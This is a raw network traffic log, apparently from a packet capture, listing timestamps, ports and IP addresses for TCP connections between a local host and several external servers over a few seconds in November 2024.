Nov 20, 2024 15:42:45.154908895 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:45.155200958 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:45.155255079 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:45.155343056 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:45.203336954 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:46.218791008 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:46.218910933 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:46.218981981 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:46.219050884 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:46.219214916 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:46.219274998 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:46.219724894 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:46.219764948 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:46.378225088 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:46.378271103 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:46.378359079 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:46.378622055 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:46.378634930 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:47.729818106 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:47.730154037 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:47.730184078 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:47.731447935 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:47.731523991 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:47.732587099 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:47.732678890 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:47.732800007 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:47.732815981 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:47.781791925 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:48.214788914 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:48.214859962 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:48.215009928 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:48.215310097 CET	49733	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:48.215332031 CET	443	49733	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:48.216918945 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:48.216955900 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:48.217048883 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:48.217271090 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:48.217284918 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.124037981 CET	49699	80	192.168.2.16	192.229.221.95
Nov 20, 2024 15:42:49.124039888 CET	49697	443	192.168.2.16	20.190.177.19
Nov 20, 2024 15:42:49.246140003 CET	80	49699	192.229.221.95	192.168.2.16
Nov 20, 2024 15:42:49.246256113 CET	49699	80	192.168.2.16	192.229.221.95
Nov 20, 2024 15:42:49.246484995 CET	443	49697	20.190.177.19	192.168.2.16
Nov 20, 2024 15:42:49.246542931 CET	49697	443	192.168.2.16	20.190.177.19
Nov 20, 2024 15:42:49.476114988 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.476409912 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.476425886 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.476772070 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.477097034 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.477180004 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.477236986 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.519335985 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935564041 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935621023 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935647964 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935673952 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935702085 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935745955 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935774088 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.935811043 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.935827971 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.952088118 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.952181101 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.952208042 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.952218056 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:49.952275038 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:49.960513115 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.002830029 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.061500072 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.114748955 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.114767075 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.140415907 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.140489101 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.140506983 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.150150061 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.150222063 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.150232077 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.158303022 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.158365011 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.158381939 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.158395052 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.158442974 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.166520119 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.174683094 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.174753904 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.174772024 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.182858944 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.182952881 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.182979107 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.191116095 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.191204071 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.191227913 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.199522972 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.199585915 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.199595928 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.206423998 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.206494093 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.206516981 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.220706940 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.220820904 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.220828056 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.220849037 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.220887899 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.227731943 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.227879047 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.227942944 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.227957010 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.227971077 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.228032112 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.229042053 CET	49734	443	192.168.2.16	104.18.95.41
Nov 20, 2024 15:42:50.229068995 CET	443	49734	104.18.95.41	192.168.2.16
Nov 20, 2024 15:42:50.377016068 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:50.377058029 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:50.377146006 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:50.377366066 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:50.377378941 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:50.394745111 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:50.394793987 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:50.394855976 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:50.395104885 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:50.395112038 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.594810963 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.595149994 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.595161915 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.596219063 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.596287966 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.596585989 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.596641064 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.596726894 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.596733093 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.625185013 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.625484943 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.625498056 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.626748085 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.626970053 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.627137899 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.627192020 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.627268076 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.627274990 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:51.648808002 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.680757999 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:51.941771030 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:51.941839933 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:51.941919088 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:52.018327951 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:52.018362045 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:52.054384947 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.054429054 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.054461956 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.054483891 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.054495096 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.054506063 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.054541111 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.054557085 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.054596901 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.062902927 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.071638107 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.071744919 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.071773052 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.080452919 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.080529928 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.080554008 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.084013939 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.084116936 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.084151983 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.084172964 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.084182978 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.084223032 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.084228039 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.092575073 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.092609882 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.092658997 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.092664957 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.092716932 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.101056099 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.102521896 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.102564096 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.102662086 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.102868080 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.102880001 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.109523058 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.109606981 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.109615088 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.127912045 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.159965038 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.176170111 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.224025965 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.224044085 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.250092030 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.250157118 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.250169039 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.257936001 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.257992983 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.258001089 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.261105061 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.261960030 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.261965990 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.276998997 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.277031898 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.277132034 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.277142048 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.277204990 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.277544975 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.281392097 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.281493902 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.281511068 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.284693956 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.289391994 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.289617062 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.289624929 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.292665005 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.292707920 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.292741060 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.292763948 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.292853117 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.300522089 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.300592899 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.300600052 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.303539991 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.308573008 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.308639050 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.308648109 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.311460972 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.311590910 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.311624050 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.313604116 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.313772917 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.313772917 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.315488100 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.315519094 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.315593004 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.316112041 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.316118956 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.316474915 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.316632032 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.316657066 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.324450016 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.324541092 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.324565887 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.332144022 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.332225084 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.332247972 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.340200901 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.340287924 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.340337038 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.340337038 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.340544939 CET	49735	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.340564966 CET	443	49735	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:52.622071028 CET	49736	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:52.622107029 CET	443	49736	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.312928915 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.313285112 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.313302040 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.313652039 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.314069033 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.314121008 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.314126968 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.314138889 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.356796026 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.618032932 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.618385077 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.618406057 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.618741989 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.619041920 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.619144917 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.619174957 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.659342051 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.660783052 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.783154964 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.783191919 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.783219099 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.783245087 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.783289909 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.783334017 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.783348083 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.783380985 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.783389091 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.791431904 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.799786091 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.799855947 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.799870014 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.808195114 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.808296919 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.808307886 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.852883101 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.902668953 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.948780060 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.978224993 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.983659029 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.983814955 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.983824968 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.983841896 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.983886957 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.991671085 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.999646902 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:53.999763012 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:53.999780893 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.007558107 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.007627010 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.007636070 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.015419960 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.015640974 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.015649080 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.028002024 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.028162003 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.028177023 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.036055088 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.036149025 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.036160946 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.036170006 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.036223888 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.043735981 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.051614046 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.051732063 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.051748991 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.051763058 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.051843882 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.059708118 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.067554951 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.067713022 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.067720890 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.110022068 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.110095978 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.110148907 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.110771894 CET	49738	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.110786915 CET	443	49738	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.113540888 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.113581896 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.113678932 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.113900900 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.113910913 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.123306036 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.168770075 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.170847893 CET	49701	443	192.168.2.16	20.190.177.19
Nov 20, 2024 15:42:54.173604965 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.173676014 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.173691988 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.181154966 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.181231022 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.181238890 CET	443	49737	104.18.94.41	192.168.2.16
